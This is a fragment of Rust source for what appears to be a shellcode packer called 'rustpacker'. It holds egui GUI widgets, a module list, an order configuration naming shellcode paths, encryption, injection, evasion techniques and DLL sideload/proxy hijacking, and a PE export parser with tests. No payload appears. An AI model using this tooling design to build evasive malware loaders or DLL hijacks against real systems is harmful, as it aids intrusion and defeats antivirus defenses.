ui.spacing_mut().item_spacing.x = 0.0;
|
||||
ui.horizontal(|ui| {
|
||||
for (value, label) in items.iter() {
|
||||
let active = current == value;
|
||||
if segment_button(ui, label, active).clicked() {
|
||||
*current = value.clone();
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
fn segment_button(ui: &mut Ui, label: &str, active: bool) -> Response {
|
||||
let font = crate::gui::theme::font_sans(11.0);
|
||||
let fg = if active { palette::bg_base() } else { palette::text_label() };
|
||||
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), fg);
|
||||
let pad = Vec2::new(space::MD, space::XS);
|
||||
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
|
||||
|
||||
if active {
|
||||
ui.painter().rect_filled(rect, Rounding::same(2.0), palette::accent());
|
||||
} else if resp.hovered() {
|
||||
ui.painter().rect_filled(
|
||||
rect,
|
||||
Rounding::same(2.0),
|
||||
Color32::from_rgba_premultiplied(0xff, 0xff, 0xff, 0x08),
|
||||
);
|
||||
}
|
||||
let final_fg = if active { palette::bg_base() } else if resp.hovered() { palette::text() } else { palette::text_label() };
|
||||
let weight_font = if active { crate::gui::theme::font_mono_bold(11.0) } else { font };
|
||||
ui.painter().text(rect.center(), Align2::CENTER_CENTER, label, weight_font, final_fg);
|
||||
resp
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- step card (FlowCase)
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub enum StepAccent { Normal, Warn, Danger }
|
||||
|
||||
pub struct StepView<'a> {
|
||||
pub idx: u32,
|
||||
pub title: &'a str,
|
||||
pub pill_text: &'a str,
|
||||
pub accent: StepAccent,
|
||||
}
|
||||
|
||||
pub fn step_card(ui: &mut Ui, step: &StepView<'_>) {
|
||||
let bar_color = match step.accent {
|
||||
StepAccent::Normal => palette::accent(),
|
||||
StepAccent::Warn => palette::warn(),
|
||||
StepAccent::Danger => palette::danger(),
|
||||
};
|
||||
let pill_kind = match step.accent {
|
||||
StepAccent::Normal => PillKind::Accent,
|
||||
StepAccent::Warn => PillKind::Warn,
|
||||
StepAccent::Danger => PillKind::Danger,
|
||||
};
|
||||
|
||||
Frame::none()
|
||||
.fill(palette::bg_panel())
|
||||
.stroke(Stroke::new(1.0, palette::border()))
|
||||
.rounding(radius::CARD)
|
||||
.inner_margin(Margin::symmetric(space::MD + 2.0, space::SM + 2.0))
|
||||
.show(ui, |ui| {
|
||||
ui.horizontal(|ui| {
|
||||
// Left accent bar
|
||||
let bar_h = 18.0;
|
||||
let (bar_rect, _) = ui.allocate_exact_size(Vec2::new(3.0, bar_h), Sense::hover());
|
||||
ui.painter()
|
||||
.rect_filled(bar_rect, Rounding::same(1.0), bar_color);
|
||||
ui.add_space(space::SM);
|
||||
|
||||
// Step number
|
||||
ui.label(
|
||||
RichText::new(format!("{:02}", step.idx))
|
||||
.font(crate::gui::theme::font_mono_bold(11.0))
|
||||
.color(palette::text_muted()),
|
||||
);
|
||||
ui.add_space(space::SM);
|
||||
|
||||
// Title
|
||||
ui.label(
|
||||
RichText::new(step.title)
|
||||
.font(crate::gui::theme::font_sans(13.0))
|
||||
.color(palette::text())
|
||||
.strong(),
|
||||
);
|
||||
|
||||
// Right pill
|
||||
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
|
||||
pill(ui, step.pill_text, pill_kind);
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
pub fn step_connector(ui: &mut Ui) {
|
||||
let avail = ui.available_width();
|
||||
let x = ui.cursor().left() + 18.0 + 3.0; // align under the accent bar
|
||||
let (rect, _) = ui.allocate_exact_size(Vec2::new(avail, 6.0), Sense::hover());
|
||||
ui.painter().line_segment(
|
||||
[egui::pos2(rect.left() + 18.0 + 1.5, rect.top()), egui::pos2(rect.left() + 18.0 + 1.5, rect.bottom())],
|
||||
Stroke::new(1.0, palette::border_strong()),
|
||||
);
|
||||
let _ = x;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- buttons
|
||||
|
||||
pub fn primary_button(ui: &mut Ui, label: &str) -> Response {
|
||||
let font = crate::gui::theme::font_sans(11.0);
|
||||
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::bg_base());
|
||||
let pad = Vec2::new(space::MD, space::XS + 2.0);
|
||||
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
|
||||
|
||||
let (fill, fg) = if resp.hovered() {
|
||||
(palette::accent_hi(), palette::bg_base())
|
||||
} else {
|
||||
(palette::accent(), palette::bg_base())
|
||||
};
|
||||
|
||||
ui.painter().rect_filled(rect, radius::INPUT, fill);
|
||||
ui.painter().text(
|
||||
rect.center(),
|
||||
Align2::CENTER_CENTER,
|
||||
label,
|
||||
crate::gui::theme::font_mono_bold(11.0),
|
||||
fg,
|
||||
);
|
||||
resp
|
||||
}
|
||||
|
||||
pub fn primary_button_disabled(ui: &mut Ui, label: &str) -> Response {
|
||||
let font = crate::gui::theme::font_sans(11.0);
|
||||
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::text_muted());
|
||||
let pad = Vec2::new(space::MD, space::XS + 2.0);
|
||||
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, Sense::hover());
|
||||
|
||||
ui.painter().rect(
|
||||
rect,
|
||||
radius::INPUT,
|
||||
palette::bg_panel(),
|
||||
Stroke::new(1.0, palette::border()),
|
||||
);
|
||||
ui.painter().text(
|
||||
rect.center(),
|
||||
Align2::CENTER_CENTER,
|
||||
label,
|
||||
crate::gui::theme::font_mono_bold(11.0),
|
||||
palette::text_muted(),
|
||||
);
|
||||
resp
|
||||
}
|
||||
|
||||
pub fn ghost_button(ui: &mut Ui, label: &str) -> Response {
|
||||
let font = crate::gui::theme::font_sans(11.0);
|
||||
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::accent());
|
||||
let pad = Vec2::new(space::SM + 2.0, space::XS + 1.0);
|
||||
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
|
||||
|
||||
let stroke_color = if resp.hovered() { palette::accent_hi() } else { palette::accent() };
|
||||
let fg = stroke_color;
|
||||
let fill = if resp.hovered() {
|
||||
palette::accent_alpha(0x14)
|
||||
} else {
|
||||
Color32::TRANSPARENT
|
||||
};
|
||||
|
||||
ui.painter().rect(rect, radius::INPUT, fill, Stroke::new(1.0, stroke_color));
|
||||
ui.painter().text(
|
||||
rect.center(),
|
||||
Align2::CENTER_CENTER,
|
||||
label,
|
||||
font,
|
||||
fg,
|
||||
);
|
||||
resp
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- terminal view
|
||||
|
||||
pub struct TerminalOpts {
|
||||
pub max_rows: usize,
|
||||
pub min_rows: usize,
|
||||
}
|
||||
|
||||
impl Default for TerminalOpts {
|
||||
fn default() -> Self { Self { max_rows: 18, min_rows: 14 } }
|
||||
}
|
||||
|
||||
pub fn terminal_view(ui: &mut Ui, log: &str, opts: TerminalOpts) {
|
||||
Frame::none()
|
||||
.fill(Color32::from_rgb(0x0a, 0x09, 0x07))
|
||||
.stroke(Stroke::new(1.0, palette::border()))
|
||||
.rounding(radius::CARD)
|
||||
.inner_margin(Margin::symmetric(space::MD + 2.0, space::SM + 4.0))
|
||||
.show(ui, |ui| {
|
||||
let row_h = ui.text_style_height(&TextStyle::Monospace);
|
||||
let min_h = row_h * opts.min_rows as f32;
|
||||
let max_h = row_h * opts.max_rows as f32;
|
||||
|
||||
egui::ScrollArea::vertical()
|
||||
.stick_to_bottom(true)
|
||||
.min_scrolled_height(min_h)
|
||||
.max_height(max_h)
|
||||
.auto_shrink([false, false])
|
||||
.show(ui, |ui| {
|
||||
ui.set_min_width(ui.available_width());
|
||||
for line in log.lines() {
|
||||
draw_log_line(ui, line);
|
||||
}
|
||||
// Trailing newline → empty terminal line
|
||||
if log.is_empty() {
|
||||
ui.label(
|
||||
RichText::new("waiting for build…")
|
||||
.font(crate::gui::theme::font_mono(12.0))
|
||||
.color(palette::text_muted()),
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
fn draw_log_line(ui: &mut Ui, line: &str) {
|
||||
let (prefix_color, prefix, rest) = classify_line(line);
|
||||
ui.horizontal(|ui| {
|
||||
ui.spacing_mut().item_spacing.x = 4.0;
|
||||
if !prefix.is_empty() {
|
||||
ui.label(
|
||||
RichText::new(prefix)
|
||||
.font(crate::gui::theme::font_mono_bold(12.0))
|
||||
.color(prefix_color),
|
||||
);
|
||||
ui.label(
|
||||
RichText::new(rest)
|
||||
.font(crate::gui::theme::font_mono(12.0))
|
||||
.color(palette::text()),
|
||||
);
|
||||
} else {
|
||||
ui.label(
|
||||
RichText::new(line)
|
||||
.font(crate::gui::theme::font_mono(12.0))
|
||||
.color(palette::text_dim()),
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
fn classify_line(line: &str) -> (Color32, &str, &str) {
|
||||
if let Some(rest) = line.strip_prefix("[*]") {
|
||||
(palette::accent(), "[*]", rest)
|
||||
} else if let Some(rest) = line.strip_prefix("[+]") {
|
||||
(palette::ok(), "[+]", rest)
|
||||
} else if let Some(rest) = line.strip_prefix("[!]") {
|
||||
(palette::warn(), "[!]", rest)
|
||||
} else if let Some(rest) = line.strip_prefix("[-]") {
|
||||
(palette::danger_hi(), "[-]", rest)
|
||||
} else {
|
||||
(palette::text_dim(), "", line)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- phase progress
|
||||
|
||||
pub fn phase_progress(ui: &mut Ui, current: u32, total: u32, label: &str) {
|
||||
Frame::none()
|
||||
.fill(palette::bg_panel())
|
||||
.stroke(Stroke::new(1.0, palette::border()))
|
||||
.rounding(radius::INPUT)
|
||||
.inner_margin(Margin::symmetric(space::MD, space::SM))
|
||||
.show(ui, |ui| {
|
||||
ui.horizontal(|ui| {
|
||||
ui.label(
|
||||
RichText::new(format!("PHASE {current}/{total}"))
|
||||
.font(crate::gui::theme::font_mono_bold(11.0))
|
||||
.color(palette::accent()),
|
||||
);
|
||||
ui.add_space(space::SM);
|
||||
|
||||
let avail = ui.available_width() - 160.0;
|
||||
let (rect, _) =
|
||||
ui.allocate_exact_size(Vec2::new(avail.max(40.0), 4.0), Sense::hover());
|
||||
ui.painter()
|
||||
.rect_filled(rect, Rounding::same(2.0), palette::bg_input());
|
||||
|
||||
let frac = (current as f32 / total.max(1) as f32).clamp(0.0, 1.0);
|
||||
let fill_w = rect.width() * frac;
|
||||
if fill_w > 0.0 {
|
||||
let fill_rect = Rect::from_min_size(rect.min, Vec2::new(fill_w, rect.height()));
|
||||
ui.painter()
|
||||
.rect_filled(fill_rect, Rounding::same(2.0), palette::accent());
|
||||
}
|
||||
|
||||
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
|
||||
ui.label(
|
||||
RichText::new(label)
|
||||
.font(crate::gui::theme::font_sans(11.0))
|
||||
.color(palette::text_dim()),
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- text input
|
||||
|
||||
pub fn input_singleline(ui: &mut Ui, buf: &mut String, hint: &str, width: f32) -> Response {
|
||||
let resp = ui.add(
|
||||
egui::TextEdit::singleline(buf)
|
||||
.desired_width(width)
|
||||
.hint_text(hint)
|
||||
.font(FontId::new(12.0, FontFamily::Monospace))
|
||||
.text_color(palette::text())
|
||||
.margin(Vec2::new(space::SM, space::XS + 1.0)),
|
||||
);
|
||||
resp
|
||||
}
|
||||
|
||||
pub fn input_readonly(ui: &mut Ui, value: &str, width: f32) {
|
||||
let mut s = value.to_string();
|
||||
ui.add(
|
||||
egui::TextEdit::singleline(&mut s)
|
||||
.desired_width(width)
|
||||
.interactive(false)
|
||||
.font(FontId::new(12.0, FontFamily::Monospace))
|
||||
.text_color(palette::text_dim())
|
||||
.margin(Vec2::new(space::SM, space::XS + 1.0)),
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- description
|
||||
|
||||
pub fn description(ui: &mut Ui, text: &str) {
|
||||
ui.label(
|
||||
RichText::new(text)
|
||||
.font(crate::gui::theme::font_sans(11.0))
|
||||
.color(palette::text_dim()),
|
||||
);
|
||||
}
|
||||
|
||||
pub fn meta_line(ui: &mut Ui, text: &str) {
|
||||
ui.label(
|
||||
RichText::new(text)
|
||||
.font(crate::gui::theme::font_mono(10.5))
|
||||
.color(palette::text_muted()),
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- scanlines
|
||||
|
||||
/// Paints a faint horizontal scanline pattern across `area` on a foreground
|
||||
/// layer. Used by the Cyberpunk theme over the central panel.
|
||||
pub fn paint_scanlines(ctx: &egui::Context, area: Rect) {
|
||||
let painter = ctx.layer_painter(LayerId::new(Order::Foreground, Id::new("rp_scanlines")));
|
||||
let accent = palette::accent();
|
||||
let line_color = Color32::from_rgba_premultiplied(
|
||||
((accent.r() as u16 * 0x0c) / 255) as u8,
|
||||
((accent.g() as u16 * 0x0c) / 255) as u8,
|
||||
((accent.b() as u16 * 0x0c) / 255) as u8,
|
||||
0x0c,
|
||||
);
|
||||
let mut y = area.top();
|
||||
while y < area.bottom() {
|
||||
painter.line_segment(
|
||||
[egui::pos2(area.left(), y), egui::pos2(area.right(), y)],
|
||||
Stroke::new(1.0, line_color),
|
||||
);
|
||||
y += 3.0;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- warn banner
|
||||
|
||||
pub fn warn_banner(ui: &mut Ui, text: &str) {
|
||||
Frame::none()
|
||||
.fill(palette::danger_alpha(0x14))
|
||||
.stroke(Stroke::new(1.0, palette::danger_alpha(0x55)))
|
||||
.rounding(radius::INPUT)
|
||||
.inner_margin(Margin::symmetric(space::SM + 2.0, space::SM))
|
||||
.show(ui, |ui| {
|
||||
ui.horizontal(|ui| {
|
||||
ui.label(
|
||||
RichText::new("⚠")
|
||||
.font(crate::gui::theme::font_sans(12.0))
|
||||
.color(palette::danger_hi()),
|
||||
);
|
||||
ui.add_space(4.0);
|
||||
ui.label(
|
||||
RichText::new(text)
|
||||
.font(crate::gui::theme::font_sans(11.0))
|
||||
.color(palette::danger_hi()),
|
||||
);
|
||||
});
|
||||
});
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
pub mod build_log;
|
||||
pub mod compiler;
|
||||
pub mod gui;
|
||||
pub mod order;
|
||||
pub mod pe_parser;
|
||||
pub mod puzzle;
|
||||
pub mod shellcode_reader;
|
||||
pub mod sideload;
|
||||
pub mod techniques;
|
||||
pub mod tools;
|
||||
@@ -0,0 +1,40 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub enum OutputFormat { Exe, Dll, DllSideload }
|
||||
|
||||
impl OutputFormat {
|
||||
pub fn extension(&self) -> &'static str {
|
||||
match self {
|
||||
Self::Exe => "exe",
|
||||
Self::Dll | Self::DllSideload => "dll",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum SideloadMode { Sideload, Proxy }
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct SideloadConfig {
|
||||
pub target_dll: PathBuf,
|
||||
pub hijack_export: String,
|
||||
pub mode: SideloadMode,
|
||||
/// For Proxy mode (relative path): the renamed DLL the proxy forwards to (e.g. "Shaping.dll").
|
||||
pub renamed: String,
|
||||
/// For Proxy mode (absolute path): use target_dll's full path directly in DLL_NAME.
|
||||
pub use_absolute_path: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Order {
|
||||
pub shellcode_path: PathBuf,
|
||||
pub format: OutputFormat,
|
||||
pub encryption_id: String,
|
||||
pub injection_id: String,
|
||||
pub evasions: Vec<String>,
|
||||
pub params: HashMap<String, String>, // key = "<technique_id>.<param_name>"
|
||||
pub output: Option<PathBuf>,
|
||||
pub sideload: Option<SideloadConfig>,
|
||||
}
|
||||
@@ -0,0 +1,322 @@
|
||||
use std::fs;
|
||||
use std::path::Path;
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
#[allow(dead_code)]
|
||||
pub struct DllExport {
|
||||
pub name: Option<String>,
|
||||
pub ordinal: u16,
|
||||
}
|
||||
|
||||
fn read_u16(data: &[u8], offset: usize) -> u16 {
|
||||
u16::from_le_bytes([data[offset], data[offset + 1]])
|
||||
}
|
||||
|
||||
fn read_u32(data: &[u8], offset: usize) -> u32 {
|
||||
u32::from_le_bytes([data[offset], data[offset + 1], data[offset + 2], data[offset + 3]])
|
||||
}
|
||||
|
||||
fn rva_to_offset(sections: &[(u32, u32, u32)], rva: u32) -> Option<usize> {
|
||||
for &(vaddr, vsize, raw_offset) in sections {
|
||||
if rva >= vaddr && rva < vaddr + vsize {
|
||||
return Some((rva - vaddr + raw_offset) as usize);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn read_cstring(data: &[u8], offset: usize) -> Option<String> {
|
||||
let end = data[offset..].iter().position(|&b| b == 0)?;
|
||||
String::from_utf8(data[offset..offset + end].to_vec()).ok()
|
||||
}
|
||||
|
||||
fn parse_sections(data: &[u8], pe_offset: usize, num_sections: u16) -> Vec<(u32, u32, u32)> {
|
||||
let opt_header_size = read_u16(data, pe_offset + 20) as usize;
|
||||
let section_start = pe_offset + 24 + opt_header_size;
|
||||
|
||||
(0..num_sections as usize)
|
||||
.map(|i| {
|
||||
let base = section_start + i * 40;
|
||||
let vaddr = read_u32(data, base + 12);
|
||||
let vsize = read_u32(data, base + 8);
|
||||
let raw_offset = read_u32(data, base + 20);
|
||||
(vaddr, vsize, raw_offset)
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub fn parse_exports(dll_path: &Path) -> Result<Vec<DllExport>, String> {
|
||||
let data = fs::read(dll_path).map_err(|e| format!("Failed to read DLL: {}", e))?;
|
||||
|
||||
if data.len() < 64 || read_u16(&data, 0) != 0x5A4D {
|
||||
return Err("Not a valid PE file (bad MZ signature)".into());
|
||||
}
|
||||
|
||||
let pe_offset = read_u32(&data, 0x3C) as usize;
|
||||
if data.len() < pe_offset + 4 || read_u32(&data, pe_offset) != 0x00004550 {
|
||||
return Err("Not a valid PE file (bad PE signature)".into());
|
||||
}
|
||||
|
||||
let magic = read_u16(&data, pe_offset + 24);
|
||||
let export_dir_rva_offset = match magic {
|
||||
0x10b => pe_offset + 24 + 96, // PE32
|
||||
0x20b => pe_offset + 24 + 112, // PE32+
|
||||
_ => return Err(format!("Unknown PE optional header magic: 0x{:04x}", magic)),
|
||||
};
|
||||
|
||||
let num_sections = read_u16(&data, pe_offset + 6);
|
||||
let sections = parse_sections(&data, pe_offset, num_sections);
|
||||
|
||||
let export_rva = read_u32(&data, export_dir_rva_offset);
|
||||
let export_size = read_u32(&data, export_dir_rva_offset + 4);
|
||||
|
||||
if export_rva == 0 || export_size == 0 {
|
||||
return Ok(vec![]);
|
||||
}
|
||||
|
||||
let export_offset =
|
||||
rva_to_offset(§ions, export_rva).ok_or("Cannot resolve export directory RVA")?;
|
||||
|
||||
let num_functions = read_u32(&data, export_offset + 20) as usize;
|
||||
let num_names = read_u32(&data, export_offset + 24) as usize;
|
||||
let ordinal_base = read_u32(&data, export_offset + 16) as u16;
|
||||
|
||||
let addr_table_rva = read_u32(&data, export_offset + 28);
|
||||
let name_ptr_rva = read_u32(&data, export_offset + 32);
|
||||
let ordinal_table_rva = read_u32(&data, export_offset + 36);
|
||||
|
||||
let addr_table_off =
|
||||
rva_to_offset(§ions, addr_table_rva).ok_or("Cannot resolve address table RVA")?;
|
||||
let name_ptr_off =
|
||||
rva_to_offset(§ions, name_ptr_rva).ok_or("Cannot resolve name pointer RVA")?;
|
||||
let ordinal_off =
|
||||
rva_to_offset(§ions, ordinal_table_rva).ok_or("Cannot resolve ordinal table RVA")?;
|
||||
|
||||
let mut name_for_index: Vec<Option<String>> = vec![None; num_functions];
|
||||
for i in 0..num_names {
|
||||
let name_rva = read_u32(&data, name_ptr_off + i * 4);
|
||||
let ord_index = read_u16(&data, ordinal_off + i * 2) as usize;
|
||||
if let Some(off) = rva_to_offset(§ions, name_rva) {
|
||||
if let Some(name) = read_cstring(&data, off) {
|
||||
if ord_index < num_functions {
|
||||
name_for_index[ord_index] = Some(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let export_end_rva = export_rva + export_size;
|
||||
let mut exports = Vec::new();
|
||||
|
||||
for i in 0..num_functions {
|
||||
let func_rva = read_u32(&data, addr_table_off + i * 4);
|
||||
if func_rva == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let is_forwarder = func_rva >= export_rva && func_rva < export_end_rva;
|
||||
if is_forwarder {
|
||||
continue;
|
||||
}
|
||||
|
||||
exports.push(DllExport {
|
||||
name: name_for_index[i].clone(),
|
||||
ordinal: ordinal_base + i as u16,
|
||||
});
|
||||
}
|
||||
|
||||
Ok(exports)
|
||||
}
|
||||
|
||||
pub fn dll_stem(dll_path: &Path) -> String {
|
||||
let s = dll_path
|
||||
.to_str()
|
||||
.unwrap_or("original");
|
||||
let filename = s.rsplit(|c| c == '/' || c == '\\').next().unwrap_or(s);
|
||||
filename
|
||||
.strip_suffix(".dll")
|
||||
.or_else(|| filename.strip_suffix(".DLL"))
|
||||
.unwrap_or(filename)
|
||||
.to_string()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::io::Write;
|
||||
|
||||
fn build_minimal_pe_dll(exports: &[&str]) -> Vec<u8> {
|
||||
let mut buf = vec![0u8; 8192];
|
||||
|
||||
buf[0] = 0x4D; // M
|
||||
buf[1] = 0x5A; // Z
|
||||
|
||||
let pe_offset: u32 = 0x80;
|
||||
buf[0x3C] = pe_offset as u8;
|
||||
|
||||
let pe = pe_offset as usize;
|
||||
buf[pe] = 0x50; // P
|
||||
buf[pe + 1] = 0x45; // E
|
||||
buf[pe + 2] = 0x00;
|
||||
buf[pe + 3] = 0x00;
|
||||
|
||||
// COFF header
|
||||
buf[pe + 4] = 0x64; buf[pe + 5] = 0x86; // Machine: x86_64
|
||||
buf[pe + 6] = 0x01; buf[pe + 7] = 0x00; // 1 section
|
||||
let opt_header_size: u16 = 112 + 16 * 16;
|
||||
buf[pe + 20] = (opt_header_size & 0xFF) as u8;
|
||||
buf[pe + 21] = (opt_header_size >> 8) as u8;
|
||||
buf[pe + 22] = 0x22; buf[pe + 23] = 0x20; // DLL characteristics
|
||||
|
||||
// Optional header
|
||||
let opt = pe + 24;
|
||||
buf[opt] = 0x0B; buf[opt + 1] = 0x02; // PE32+ magic
|
||||
|
||||
let section_rva: u32 = 0x1000;
|
||||
let section_raw: u32 = 0x400; // after all headers
|
||||
let section_size: u32 = 0x1000;
|
||||
|
||||
// Export directory RVA at opt + 112
|
||||
let export_dir_offset = opt + 112;
|
||||
|
||||
// Section header
|
||||
let sec = pe + 24 + opt_header_size as usize;
|
||||
buf[sec..sec + 8].copy_from_slice(b".edata\0\0");
|
||||
buf[sec + 8..sec + 12].copy_from_slice(§ion_size.to_le_bytes());
|
||||
buf[sec + 12..sec + 16].copy_from_slice(§ion_rva.to_le_bytes());
|
||||
buf[sec + 16..sec + 20].copy_from_slice(§ion_size.to_le_bytes());
|
||||
buf[sec + 20..sec + 24].copy_from_slice(§ion_raw.to_le_bytes());
|
||||
|
||||
// Build export data at file offset section_raw, RVA section_rva
|
||||
let num_exports = exports.len();
|
||||
let export_data_start = section_raw as usize;
|
||||
let edt = export_data_start; // Export Directory Table
|
||||
|
||||
// Export dir is 40 bytes
|
||||
// Then: AddressOfFunctions array, AddressOfNames array, AddressOfNameOrdinals array, then name strings
|
||||
|
||||
let addr_table_off = 40usize;
|
||||
let name_ptr_off = addr_table_off + num_exports * 4;
|
||||
let ordinal_table_off = name_ptr_off + num_exports * 4;
|
||||
let strings_off = ordinal_table_off + num_exports * 2;
|
||||
|
||||
// Write export directory
|
||||
let ordinal_base: u32 = 1;
|
||||
// NumberOfFunctions
|
||||
buf[edt + 20..edt + 24].copy_from_slice(&(num_exports as u32).to_le_bytes());
|
||||
// NumberOfNames
|
||||
buf[edt + 24..edt + 28].copy_from_slice(&(num_exports as u32).to_le_bytes());
|
||||
// OrdinalBase
|
||||
buf[edt + 16..edt + 20].copy_from_slice(&ordinal_base.to_le_bytes());
|
||||
// AddressOfFunctions RVA
|
||||
let addr_table_rva = section_rva + addr_table_off as u32;
|
||||
buf[edt + 28..edt + 32].copy_from_slice(&addr_table_rva.to_le_bytes());
|
||||
// AddressOfNames RVA
|
||||
let name_ptr_rva = section_rva + name_ptr_off as u32;
|
||||
buf[edt + 32..edt + 36].copy_from_slice(&name_ptr_rva.to_le_bytes());
|
||||
// AddressOfNameOrdinals RVA
|
||||
let ordinal_rva = section_rva + ordinal_table_off as u32;
|
||||
buf[edt + 36..edt + 40].copy_from_slice(&ordinal_rva.to_le_bytes());
|
||||
|
||||
let mut string_cursor = strings_off;
|
||||
for (i, name) in exports.iter().enumerate() {
|
||||
// Address table: dummy non-zero RVA (points somewhere in section, not in export dir range)
|
||||
let func_rva: u32 = section_rva + 0xD00 + i as u32;
|
||||
buf[edt + addr_table_off + i * 4..edt + addr_table_off + i * 4 + 4]
|
||||
.copy_from_slice(&func_rva.to_le_bytes());
|
||||
|
||||
// Name pointer table: RVA of string
|
||||
let name_string_rva = section_rva + string_cursor as u32;
|
||||
buf[edt + name_ptr_off + i * 4..edt + name_ptr_off + i * 4 + 4]
|
||||
.copy_from_slice(&name_string_rva.to_le_bytes());
|
||||
|
||||
// Ordinal table
|
||||
buf[edt + ordinal_table_off + i * 2] = i as u8;
|
||||
buf[edt + ordinal_table_off + i * 2 + 1] = 0;
|
||||
|
||||
// Write name string
|
||||
buf[edt + string_cursor..edt + string_cursor + name.len()]
|
||||
.copy_from_slice(name.as_bytes());
|
||||
buf[edt + string_cursor + name.len()] = 0;
|
||||
string_cursor += name.len() + 1;
|
||||
}
|
||||
|
||||
// Export directory RVA and size
|
||||
let export_total_size = string_cursor as u32;
|
||||
buf[export_dir_offset..export_dir_offset + 4]
|
||||
.copy_from_slice(§ion_rva.to_le_bytes());
|
||||
buf[export_dir_offset + 4..export_dir_offset + 8]
|
||||
.copy_from_slice(&export_total_size.to_le_bytes());
|
||||
|
||||
buf
|
||||
}
|
||||
|
||||
fn write_temp_dll(name: &str, data: &[u8]) -> std::path::PathBuf {
|
||||
let dir = std::env::temp_dir().join("rustpacker_test_pe_parser");
|
||||
fs::create_dir_all(&dir).unwrap();
|
||||
let path = dir.join(name);
|
||||
let mut f = fs::File::create(&path).unwrap();
|
||||
f.write_all(data).unwrap();
|
||||
path
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_named_exports() {
|
||||
let pe = build_minimal_pe_dll(&["GetFileVersionInfoA", "GetFileVersionInfoW", "VerQueryValueW"]);
|
||||
let path = write_temp_dll("named_exports.dll", &pe);
|
||||
let exports = parse_exports(&path).unwrap();
|
||||
|
||||
assert_eq!(exports.len(), 3);
|
||||
assert_eq!(exports[0].name.as_deref(), Some("GetFileVersionInfoA"));
|
||||
assert_eq!(exports[1].name.as_deref(), Some("GetFileVersionInfoW"));
|
||||
assert_eq!(exports[2].name.as_deref(), Some("VerQueryValueW"));
|
||||
assert_eq!(exports[0].ordinal, 1);
|
||||
assert_eq!(exports[1].ordinal, 2);
|
||||
assert_eq!(exports[2].ordinal, 3);
|
||||
|
||||
fs::remove_file(&path).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_no_exports() {
|
||||
let mut pe = build_minimal_pe_dll(&[]);
|
||||
// Zero out the export directory RVA
|
||||
let pe_offset = read_u32(&pe, 0x3C) as usize;
|
||||
let export_dir_off = pe_offset + 24 + 112;
|
||||
pe[export_dir_off..export_dir_off + 8].copy_from_slice(&[0; 8]);
|
||||
|
||||
let path = write_temp_dll("no_exports.dll", &pe);
|
||||
let exports = parse_exports(&path).unwrap();
|
||||
assert!(exports.is_empty());
|
||||
|
||||
fs::remove_file(&path).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_invalid_file() {
|
||||
let path = write_temp_dll("not_a_dll.bin", b"this is not a PE file");
|
||||
let result = parse_exports(&path);
|
||||
assert!(result.is_err());
|
||||
fs::remove_file(&path).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_dll_stem() {
|
||||
assert_eq!(dll_stem(Path::new("C:\\Windows\\System32\\version.dll")), "version");
|
||||
assert_eq!(dll_stem(Path::new("/tmp/mylib.dll")), "mylib");
|
||||
assert_eq!(dll_stem(Path::new("test")), "test");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_single_export() {
|
||||
let pe = build_minimal_pe_dll(&["DllGetClassObject"]);
|
||||
let path = write_temp_dll("single_export.dll", &pe);
|
||||
let exports = parse_exports(&path).unwrap();
|
||||
|
||||
assert_eq!(exports.len(), 1);
|
||||
assert_eq!(exports[0].name.as_deref(), Some("DllGetClassObject"));
|
||||
assert_eq!(exports[0].ordinal, 1);
|
||||
|
||||
fs::remove_file(&path).ok();
|
||||
}
|
||||
}
|
||||
+196
@@ -0,0 +1,196 @@
|
||||
use crate::order::{Order, OutputFormat};
|
||||
use crate::sideload;
|
||||
